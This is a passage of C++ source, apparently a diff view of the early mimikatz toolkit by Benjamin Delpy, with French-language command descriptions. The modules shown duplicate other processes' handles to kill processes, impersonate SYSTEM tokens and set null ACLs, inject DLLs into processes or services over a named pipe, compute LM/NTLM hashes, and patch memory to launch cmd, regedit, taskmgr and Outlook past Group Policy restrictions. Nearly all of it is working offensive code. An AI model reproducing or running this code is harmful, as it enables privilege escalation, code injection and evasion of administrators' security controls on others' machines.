static void fullInfosFromEFS_CERTIFICATE_DATA(PEFS_PUBLIC_KEY_INFORMATION header, LONG Certificate_offset);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool infos(vector<wstring> * arguments);
static bool full(vector<wstring> * arguments);
static bool toraw(vector<wstring> * arguments);
static bool fromraw(vector<wstring> * arguments);
};

View File

@ -0,0 +1,300 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_handle.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_handle::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(list, L"list", L"Affiche les handles du système (pour le moment juste les processus et tokens)"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(processStop, L"processStop", L"Essaye de stopper un ou plusieurs processus en utilisant d\'autres handles"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(tokenImpersonate, L"tokenImpersonate", L"Essaye d\'impersonaliser un token en utilisant d\'autres handles"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(nullAcl, L"nullAcl", L"Positionne une ACL null sur des Handles"));
return monVector;
}
bool mod_mimikatz_handle::list(vector<wstring> * arguments)
{
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
bool isProcessList = mod_process::getList(mesProcess);
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
DWORD id = (!arguments->empty() ? _wtoi(arguments->front().c_str()) : 0);
if(mod_system::getSystemHandles(mesHandles, arguments->empty() ? NULL : &id))
{
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
{
HANDLE hProcess;
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
{
HANDLE nouveauHandle;
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
{
wstring tokenType;
if(mod_system::getHandleType(nouveauHandle, &tokenType))
{
bool isToken = (_wcsicmp(tokenType.c_str(), L"token") == 0);
bool isProcess = (_wcsicmp(tokenType.c_str(), L"process") == 0);
if(isToken || isProcess)
{
wcout << setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" ";
if(isProcessList)
{
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
if(mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess))
wcout << setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right;
delete processHote;
}
wcout << L" -> " << setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' << tokenType << L'\t';
if(isToken)
{
wstring userName, domainName;
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
wcout << L'\t' << domainName << L'\\' << userName ;
else wcout << mod_system::getWinError();
}
else if(isProcess)
{
DWORD monPid = GetProcessId(nouveauHandle);
wcout << monPid;
if(isProcessList)
{
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
if(mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess))
wcout << L'\t' << processKiwi->szExeFile;
delete processKiwi;
}
}
wcout << endl;
}
}
CloseHandle(nouveauHandle);
}
CloseHandle(hProcess);
}
}
}
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
delete mesHandles;
return true;
}
bool mod_mimikatz_handle::processStop(vector<wstring> * arguments)
{
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
bool isProcessList = mod_process::getList(mesProcess);
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
if(mod_system::getSystemHandles(mesHandles))
{
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
{
HANDLE hProcess;
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
{
HANDLE nouveauHandle;
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
{
wstring tokenType;
if(mod_system::getHandleType(nouveauHandle, &tokenType))
{
if(_wcsicmp(tokenType.c_str(), L"process") == 0)
{
if(isProcessList)
{
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
mod_process::KIWI_PROCESSENTRY32 * processKiwi = new mod_process::KIWI_PROCESSENTRY32();
DWORD monPid = GetProcessId(nouveauHandle);
if(
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess) &&
mod_process::getProcessEntryFromProcessId(monPid, processKiwi, mesProcess)
)
{
for(vector<wstring>::iterator monProcessName = arguments->begin(); monProcessName != arguments->end(); monProcessName++)
{
if(_wcsicmp(processKiwi->szExeFile.c_str(), monProcessName->c_str()) == 0)
{
wcout <<
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
monPid << L'\t' << processKiwi->szExeFile << endl;
;
wcout << L"\tTerminate Process - ";
if(TerminateProcess(nouveauHandle, ERROR_SUCCESS) != 0)
{
wcout << L"OK";
}
else
{
wcout << L"KO ; " << mod_system::getWinError() << endl <<
L"\tJob : ";
if(HANDLE monObject = CreateJobObject(NULL, NULL))
{
if(AssignProcessToJobObject(monObject, nouveauHandle))
{
wcout << L"TerminateJobObject - ";
if(TerminateJobObject(monObject, ERROR_SUCCESS) != 0)
{
wcout << L"OK";
}
else wcout << L"KO ; " << mod_system::getWinError();
}
else wcout << L"AssignProcessToJobObject - KO ; " << mod_system::getWinError();
CloseHandle(monObject);
}
}
wcout << endl;
}
}
}
delete processKiwi;
delete processHote;
}
}
}
CloseHandle(nouveauHandle);
}
CloseHandle(hProcess);
}
}
}
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
delete mesHandles;
return true;
}
bool mod_mimikatz_handle::tokenImpersonate(vector<wstring> * arguments)
{
PNT_SET_INFORMATION_PROCESS NtSetInformationProcess = reinterpret_cast<PNT_SET_INFORMATION_PROCESS>(GetProcAddress(GetModuleHandle(L"ntdll"), "NtSetInformationProcess"));
vector<mod_process::KIWI_PROCESSENTRY32> * mesProcess = new vector<mod_process::KIWI_PROCESSENTRY32>();
bool isProcessList = mod_process::getList(mesProcess);
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
if(mod_system::getSystemHandles(mesHandles))
{
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
{
HANDLE hProcess;
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
{
HANDLE nouveauHandle;
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
{
wstring tokenType;
if(mod_system::getHandleType(nouveauHandle, &tokenType))
{
if(_wcsicmp(tokenType.c_str(), L"token") == 0)
{
if(isProcessList)
{
mod_process::KIWI_PROCESSENTRY32 * processHote = new mod_process::KIWI_PROCESSENTRY32();
if(
mod_process::getProcessEntryFromProcessId(monHandle->ProcessId, processHote, mesProcess)
)
{
wstring userName, domainName;
if(mod_secacl::tokenUser(nouveauHandle, &userName, &domainName))
{
if(_wcsicmp(userName.c_str(), (arguments->empty() ? L"system" : arguments->front().c_str())) == 0)
{
wcout <<
setw(5) << setfill(wchar_t(' ')) << monHandle->ProcessId << L" " <<
setw(25) << setfill(wchar_t(' ')) << left << processHote->szExeFile << right << L" -> " <<
setw(5) << setfill(wchar_t(' ')) << monHandle->Handle << L'\t' <<
domainName << L'\\' << userName << L'\t';
if(mod_secacl::exchangeDupToken(&nouveauHandle))
{
if(ImpersonateLoggedOnUser(nouveauHandle))
{
wcout << L"ok !!" << endl;
break;
}
else
{
wcout << L"ko - ImpersonateLoggedOnUser ; " << mod_system::getWinError() << endl;
}
}
else
{
wcout << L"ko - mod_secacl::exchangeDupToken ; " << mod_system::getWinError() << endl;
}
}
}
else wcout << mod_system::getWinError();
}
delete processHote;
}
}
}
CloseHandle(nouveauHandle);
}
CloseHandle(hProcess);
}
}
}
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
delete mesHandles;
return true;
}
bool mod_mimikatz_handle::nullAcl(vector<wstring> * arguments)
{
vector<SYSTEM_HANDLE> * mesHandles = new vector<SYSTEM_HANDLE>();
if(mod_system::getSystemHandles(mesHandles))
{
for(vector<SYSTEM_HANDLE>::iterator monHandle = mesHandles->begin(); monHandle != mesHandles->end(); monHandle++)
{
HANDLE hProcess;
if(hProcess = OpenProcess(PROCESS_DUP_HANDLE, false, monHandle->ProcessId))
{
HANDLE nouveauHandle;
if(DuplicateHandle(hProcess, reinterpret_cast<HANDLE>(monHandle->Handle), GetCurrentProcess(), &nouveauHandle, 0, false, DUPLICATE_SAME_ACCESS))
{
wstring tokenType;
if(mod_system::getHandleType(nouveauHandle, &tokenType))
{
bool toACL = true;;
if(!arguments->empty())
toACL = find(arguments->begin(), arguments->end(), tokenType) != arguments->end();
if(toACL)
wcout << monHandle->ProcessId << L'\t' << monHandle->Handle << L'\t' << tokenType << L"\t\t" << (mod_secacl::nullSdToHandle(&nouveauHandle) ? L"NULL !" : L"KO") << endl;
}
CloseHandle(nouveauHandle);
}
CloseHandle(hProcess);
}
}
}
else wcout << L"mod_system::getSystemHandles ; " << mod_system::getWinError() << endl;
delete mesHandles;
return true;
}

View File

@ -0,0 +1,23 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_process.h"
#include "mod_secacl.h"
#include <iostream>
#include <algorithm>
class mod_mimikatz_handle
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool list(vector<wstring> * arguments);
static bool processStop(vector<wstring> * arguments);
static bool tokenImpersonate(vector<wstring> * arguments);
static bool nullAcl(vector<wstring> * arguments);
};

View File

@ -0,0 +1,42 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_hash.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_hash::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(lm, L"lm", L"Hash LanManager (LM) d\'une chaîne de caractères"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(ntlm, L"ntlm", L"Hash NT LanManger (NTLM) d\'une chaîne de caractères"));
return monVector;
}
bool mod_mimikatz_hash::lm(vector<wstring> * arguments)
{
wstring chaine, hash;
if(!arguments->empty())
chaine = arguments->front();
if(mod_hash::lm(&chaine, &hash))
wcout << L"LM(\'" << chaine << L"\') = " << hash << endl;
else
wcout << L"Erreur de calcul du hash LM" << endl;
return true;
}
bool mod_mimikatz_hash::ntlm(vector<wstring> * arguments)
{
wstring chaine, hash;
if(!arguments->empty())
chaine = arguments->front();
if(mod_hash::ntlm(&chaine, &hash))
wcout << L"NTLM(\'" << chaine << L"\') = " << hash << endl;
else
wcout << L"Erreur de calcul du hash NTLM" << endl;
return true;
}

View File

@ -0,0 +1,18 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_hash.h"
#include <iostream>
class mod_mimikatz_hash
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool lm(vector<wstring> * arguments);
static bool ntlm(vector<wstring> * arguments);
};

View File

@ -0,0 +1,24 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_impersonate.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_impersonate::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(revert, L"revert", L"RevertToSelf"));
return monVector;
}
bool mod_mimikatz_impersonate::revert(vector<wstring> * arguments)
{
wcout << L"RevertToSelf : ";
if(RevertToSelf())
wcout << L"ok";
else
wcout << L"ko ; " << mod_system::getWinError();
wcout << endl;
return true;
}

View File

@ -0,0 +1,19 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_system.h"
#include "mod_process.h"
#include "mod_thread.h"
#include <iostream>
class mod_mimikatz_impersonate
{
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool revert(vector<wstring> * arguments);
};

View File

@ -0,0 +1,119 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_inject.h"
mod_pipe * mod_mimikatz_inject::monCommunicator = NULL;
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_inject::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(pid, L"pid", L"Injecte une librairire communicante dans un PID"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(process, L"process", L"Injecte une librairire communicante dans un processus"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(service, L"service", L"Injecte une librairire communicante dans un service"));
return monVector;
}
bool mod_mimikatz_inject::process(vector<wstring> * arguments)
{
wstring processName = arguments->front();
wstring fullLib = arguments->back();
mod_process::KIWI_PROCESSENTRY32 monProcess;
if(mod_process::getUniqueForName(&monProcess, &processName))
{
wcout << L"PROCESSENTRY32(" << processName << L").th32ProcessID = " << monProcess.th32ProcessID << endl;
injectInPid(monProcess.th32ProcessID, fullLib);
}
else wcout << L"Trop, ou pas de processus : \'" << processName << L"\' mod_process::getUniqueProcessForName : " << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_inject::service(vector<wstring> * arguments)
{
wstring serviceName = arguments->front();
wstring fullLib = arguments->back();
mod_service::KIWI_SERVICE_STATUS_PROCESS monService;
if(mod_service::getUniqueForName(&monService, &serviceName))
{
wcout << L"SERVICE(" << serviceName << L").serviceDisplayName = " << monService.serviceDisplayName << endl;
wcout << L"SERVICE(" << serviceName << L").ServiceStatusProcess.dwProcessId = " << monService.ServiceStatusProcess.dwProcessId << endl;
injectInPid(monService.ServiceStatusProcess.dwProcessId, fullLib);
}
else wcout << L"Service unique introuvable : \'" << serviceName << L"\' ; mod_service::getUniqueForName : " << mod_system::getWinError() << endl;
return true;
}
bool mod_mimikatz_inject::pid(vector<wstring> * arguments)
{
wstring strPid = arguments->front();
wstring fullLib = arguments->back();
DWORD pid;
wstringstream monStream(strPid);
monStream >> pid;
injectInPid(pid, fullLib, !(arguments->size() >= 3));
return true;
}
bool mod_mimikatz_inject::injectInPid(DWORD & pid, wstring & libPath, bool isComm)
{
bool reussite = false;
if(!isComm || (isComm && !monCommunicator))
{
if(reussite = mod_inject::injectLibraryInPid(pid, &libPath))
{
if(isComm)
{
wstring monBuffer = L"";
monCommunicator = new mod_pipe(L"kiwi\\mimikatz");
wcout << L"Attente de connexion du client..." << endl;
if(monCommunicator->createServer())
{
wcout << L"Serveur connecté à un client !" << endl;
if(monCommunicator->readFromPipe(monBuffer))
{
wcout << L"Message du processus :" << endl << monBuffer << endl;
}
else
{
wcout << L"Erreur : Impossible de lire le premier message ! ; " << mod_system::getWinError() << endl;
closeThisCommunicator();
}
}
else
{
wcout << L"Erreur : Impossible de créer un canal de communication ! ; " << mod_system::getWinError() << endl;
closeThisCommunicator();
}
}
else
wcout << L"Injecté sans communication (legacy)" << endl;
} else wcout << L"Erreur : Impossible d\'injecter ! ; " << mod_system::getWinError() << endl;
}
else wcout << L"Erreur : un canal de communicaton est déjà ouvert" << endl;
return reussite;
}
bool mod_mimikatz_inject::closeThisCommunicator()
{
if(monCommunicator)
{
wcout << L"Fermeture du canal de communication" << endl;
delete monCommunicator;
monCommunicator = NULL;
}
return true;
}

View File

@ -0,0 +1,33 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_inject.h"
#include "mod_system.h"
#include "mod_process.h"
#include "mod_service.h"
#include "mod_pipe.h"
#include <iostream>
class mod_mimikatz_inject
{
private:
static bool injectInPid(DWORD & pid, wstring & libPath, bool isComm = true);
static void startComm();
public:
static mod_pipe * monCommunicator;
static bool closeThisCommunicator();
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool pid(vector<wstring> * arguments);
static bool process(vector<wstring> * arguments);
static bool service(vector<wstring> * arguments);
static bool injectlegacy(vector<wstring> * arguments);
};

View File

@ -0,0 +1,139 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_minesweeper.h"
char DISP_MINESWEEPER[] = "012345678.F? !!";
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_minesweeper::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(infos, L"infos", L"Obtient des informations sur le démineur en cours"));
return monVector;
}
bool mod_mimikatz_minesweeper::infos(vector<wstring> * arguments)
{
structHandleAndAddr * maStruct = new structHandleAndAddr();
if(giveHandleAndAddr(maStruct))
{
STRUCT_MINESWEEPER_GAME monGame;
if(mod_memory::readMemory(maStruct->G, &monGame, sizeof(STRUCT_MINESWEEPER_GAME), maStruct->hMineSweeper))
{
#ifdef _M_IX86
if(mod_system::GLOB_Version.dwBuildNumber >= 7000)
monGame.pBoard = monGame.pBoard_WIN7x86;
#endif
STRUCT_MINESWEEPER_BOARD monBoard;
if(mod_memory::readMemory(monGame.pBoard, &monBoard, sizeof(STRUCT_MINESWEEPER_BOARD), maStruct->hMineSweeper))
{
wcout << L"Mines : " << monBoard.nbMines << endl <<
L"Dimension : " << monBoard.nbLignes << L" lignes x " << monBoard.nbColonnes << L" colonnes" << endl <<
L"Champ : " << endl << endl;
char ** monTableau;
monTableau = new char*[monBoard.nbLignes];
for(DWORD l = 0; l < monBoard.nbLignes; l++)
monTableau[l] = new char[monBoard.nbColonnes];
parseField(maStruct, monBoard.ref_visibles, monTableau, true);
parseField(maStruct, monBoard.ref_mines, monTableau, false);
for(DWORD l = 0; l < monBoard.nbLignes; l++)
{
wcout << L'\t';
for(DWORD c = 0; c < monBoard.nbColonnes; c++)
wcout << monTableau[l][c] << L' ';
wcout << endl;
delete[] monTableau[l];
}
delete[] monTableau;
} else wcout << L"Impossible de lire les données du plateau" << endl;
} else wcout << L"Impossible de lire les données du jeu" << endl;
CloseHandle(maStruct->hMineSweeper);
}
delete maStruct;
return true;
}
bool mod_mimikatz_minesweeper::parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible)
{
DWORD tailleElementFinal = isVisible ? sizeof(DWORD) : sizeof(BYTE);
STRUCT_MINESWEEPER_REF_ELEMENT maRefElements;
if(mod_memory::readMemory(laBase, &maRefElements, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
{
PSTRUCT_MINESWEEPER_REF_ELEMENT * ref_colonnes_elements = new PSTRUCT_MINESWEEPER_REF_ELEMENT[maRefElements.nbElements];
if(mod_memory::readMemory(maRefElements.elements, ref_colonnes_elements, maRefElements.nbElements * sizeof(PSTRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
{
for(DWORD c = 0; c < maRefElements.nbElements; c++)
{
STRUCT_MINESWEEPER_REF_ELEMENT maRefColonneElement;
if(mod_memory::readMemory(ref_colonnes_elements[c], &maRefColonneElement, sizeof(STRUCT_MINESWEEPER_REF_ELEMENT), monHandleAndAddr->hMineSweeper))
{
void * cellules = isVisible ? reinterpret_cast<void *>(new DWORD[maRefColonneElement.nbElements]) : reinterpret_cast<void *>(new BYTE[maRefColonneElement.nbElements]);
if(mod_memory::readMemory(maRefColonneElement.elements, cellules, maRefColonneElement.nbElements * tailleElementFinal, monHandleAndAddr->hMineSweeper))
{
for(DWORD l = 0; l < maRefColonneElement.nbElements; l++)
{
if(isVisible)
monTableau[l][c] = DISP_MINESWEEPER[reinterpret_cast<DWORD *>(cellules)[l]];
else
if(reinterpret_cast<BYTE *>(cellules)[l]) monTableau[l][c] = '*';
}
} else wcout << L"Impossible de lire les élements de la colonne : " << c << endl;
delete[] cellules;
} else wcout << L"Impossible de lire les références de la colonne : " << c << endl;
}
} else wcout << L"Impossible de lire les références des colonnes" << endl;
delete[] ref_colonnes_elements;
} else wcout << L"Impossible de lire les références de l\'élement" << endl;
return true;
}
bool mod_mimikatz_minesweeper::giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr)
{
#ifdef _M_X64
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x48, 0x89, 0x44, 0x24, 0x70, 0x48, 0x85, 0xc0, 0x74, 0x0a, 0x48, 0x8b, 0xc8, 0xe8};
LONG OFFS_WIN6_ToG = -(5 + 5 + 6 + 4 + 1);
#elif defined _M_IX86
BYTE PTRN_WIN6_Game_SafeGetSingleton[] = {0x84, 0xc0, 0x75, 0x07, 0x6a, 0x67, 0xe8};
LONG OFFS_WIN6_ToG = sizeof(PTRN_WIN6_Game_SafeGetSingleton) + 4 + 1;
#endif
RtlZeroMemory(monHandleAndAddr, sizeof(structHandleAndAddr));
wstring nomDemineur(L"minesweeper.exe");
mod_process::KIWI_PROCESSENTRY32 monDemineur;
if(mod_process::getUniqueForName(&monDemineur, &nomDemineur))
{
monHandleAndAddr->pidMineSweeper = monDemineur.th32ProcessID;
mod_process::KIWI_MODULEENTRY32 monModule;
if(mod_process::getUniqueModuleForName(&monModule, NULL, &monDemineur.th32ProcessID))
{
PBYTE limit = monModule.modBaseAddr + monModule.modBaseSize, ptrTemp = NULL;
if(monHandleAndAddr->hMineSweeper = OpenProcess(PROCESS_VM_READ, false, monHandleAndAddr->pidMineSweeper))
if(mod_memory::searchMemory(monModule.modBaseAddr, limit, PTRN_WIN6_Game_SafeGetSingleton, &ptrTemp, sizeof(PTRN_WIN6_Game_SafeGetSingleton), true, monHandleAndAddr->hMineSweeper))
{
#ifdef _M_X64
long offsetTemp = 0;
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &offsetTemp, sizeof(offsetTemp), monHandleAndAddr->hMineSweeper))
mod_memory::readMemory((ptrTemp + OFFS_WIN6_ToG) + sizeof(long) + offsetTemp + 1, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
#elif defined _M_IX86
if(mod_memory::readMemory(ptrTemp + OFFS_WIN6_ToG, &ptrTemp, sizeof(ptrTemp), monHandleAndAddr->hMineSweeper))
mod_memory::readMemory(ptrTemp, &monHandleAndAddr->G, sizeof(monHandleAndAddr->G), monHandleAndAddr->hMineSweeper);
#endif
}
}
}
bool reussite = monHandleAndAddr->hMineSweeper && monHandleAndAddr->G;
if(!reussite && monHandleAndAddr->hMineSweeper)
CloseHandle(monHandleAndAddr->hMineSweeper);
return reussite;
}

View File

@ -0,0 +1,72 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#pragma once
#include "globdefs.h"
#include "mod_process.h"
#include "mod_memory.h"
#include "mod_system.h"
#include <iostream>
class mod_mimikatz_minesweeper
{
private:
typedef struct _STRUCT_MINESWEEPER_REF_ELEMENT {
DWORD nbElements;
DWORD unk0;
DWORD unk1;
PVOID elements;
DWORD unk2;
DWORD unk3;
} STRUCT_MINESWEEPER_REF_ELEMENT, *PSTRUCT_MINESWEEPER_REF_ELEMENT;
typedef struct _STRUCT_MINESWEEPER_BOARD {
PVOID Serializer;
DWORD nbMines;
DWORD nbLignes;
DWORD nbColonnes;
DWORD unk0;
DWORD unk1;
DWORD unk2;
DWORD unk3;
DWORD unk4;
DWORD unk5;
DWORD unk6;
DWORD unk7;
DWORD unk8;
DWORD unk9;
#ifdef _M_X64
DWORD unk_x64;
#endif
DWORD unk10;
PVOID unk11;
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_visibles;
PSTRUCT_MINESWEEPER_REF_ELEMENT ref_mines;
DWORD unk12;
DWORD unk13;
} STRUCT_MINESWEEPER_BOARD, *PSTRUCT_MINESWEEPER_BOARD;
typedef struct _STRUCT_MINESWEEPER_GAME {
PVOID Serializer;
//PVOID pGameStat; on 7x86
PVOID pNodeBase;
PVOID pBoardCanvas;
PSTRUCT_MINESWEEPER_BOARD pBoard;
PSTRUCT_MINESWEEPER_BOARD pBoard_WIN7x86;
} STRUCT_MINESWEEPER_GAME, *PSTRUCT_MINESWEEPER_GAME;
typedef struct structHandleAndAddr{
HANDLE hMineSweeper;
DWORD pidMineSweeper;
PVOID G;
} structHandleAndAddr;
static bool giveHandleAndAddr(structHandleAndAddr * monHandleAndAddr);
static bool parseField(structHandleAndAddr * monHandleAndAddr, PSTRUCT_MINESWEEPER_REF_ELEMENT laBase, char ** monTableau, bool isVisible = true);
public:
static vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> getMimiKatzCommands();
static bool infos(vector<wstring> * arguments);
};

View File

@ -0,0 +1,209 @@
/* Benjamin DELPY `gentilkiwi`
http://blog.gentilkiwi.com
benjamin@gentilkiwi.com
Licence : http://creativecommons.org/licenses/by-nc-sa/3.0/fr/
*/
#include "mod_mimikatz_nogpo.h"
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> mod_mimikatz_nogpo::getMimiKatzCommands()
{
vector<KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND> monVector;
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(regedit, L"regedit", L"Lance un éditeur de registre, ignorant DisableRegistryTools"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(cmd, L"cmd", L"Lance une invite de commande, ignorant DisableCMD"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(taskmgr, L"taskmgr", L"Lance le gestionnaire de tache, ignorant DisableTaskMgr"));
monVector.push_back(KIWI_MIMIKATZ_LOCAL_MODULE_COMMAND(olpst, L"olpst", L"Lance Outlook, ignorant DisablePst"));
return monVector;
}
bool mod_mimikatz_nogpo::regedit(vector<wstring> * arguments)
{
wcout << L"Editeur de registre : " << (disableSimple(L"regedit.exe", L"DisableRegistryTools", L"KiwiAndRegistryTools") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::cmd(vector<wstring> * arguments)
{
wcout << L"Invite de commande : " << (disableSimple(L"cmd.exe", L"DisableCMD", L"KiwiAndCMD") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::taskmgr(vector<wstring> * arguments)
{
wcout << L"Gestionnaire de taches : " << (disableSimple(L"taskmgr.exe", L"DisableTaskMgr", L"KiwiAndTaskMgr") ? "OK" : "KO") << endl;
return true;
}
bool mod_mimikatz_nogpo::olpst(vector<wstring> * arguments)
{
char szDisable[] = "DisablePst";
char szKiwi[] = "KiwiAndPst";
wstring pathToOutlook;
if(getApplicationPathFromCLSID(L"Outlook.Application", &pathToOutlook))
{
DWORD pidOutlook = 0;
bool reussite = disableSimple(pathToOutlook, szDisable, szKiwi, &pidOutlook);
wcout << L"Outlook avec PST : " << (reussite ? L"OK" : L"KO");
if(reussite)
{
mod_patch::patchModuleOfPID(pidOutlook, L"olmapi32.dll", reinterpret_cast<BYTE *>(szDisable), sizeof(szDisable), reinterpret_cast<BYTE *>(szKiwi), sizeof(szKiwi));
}
} else wcout << L"Outlook introuvable" << endl;
return true;
}
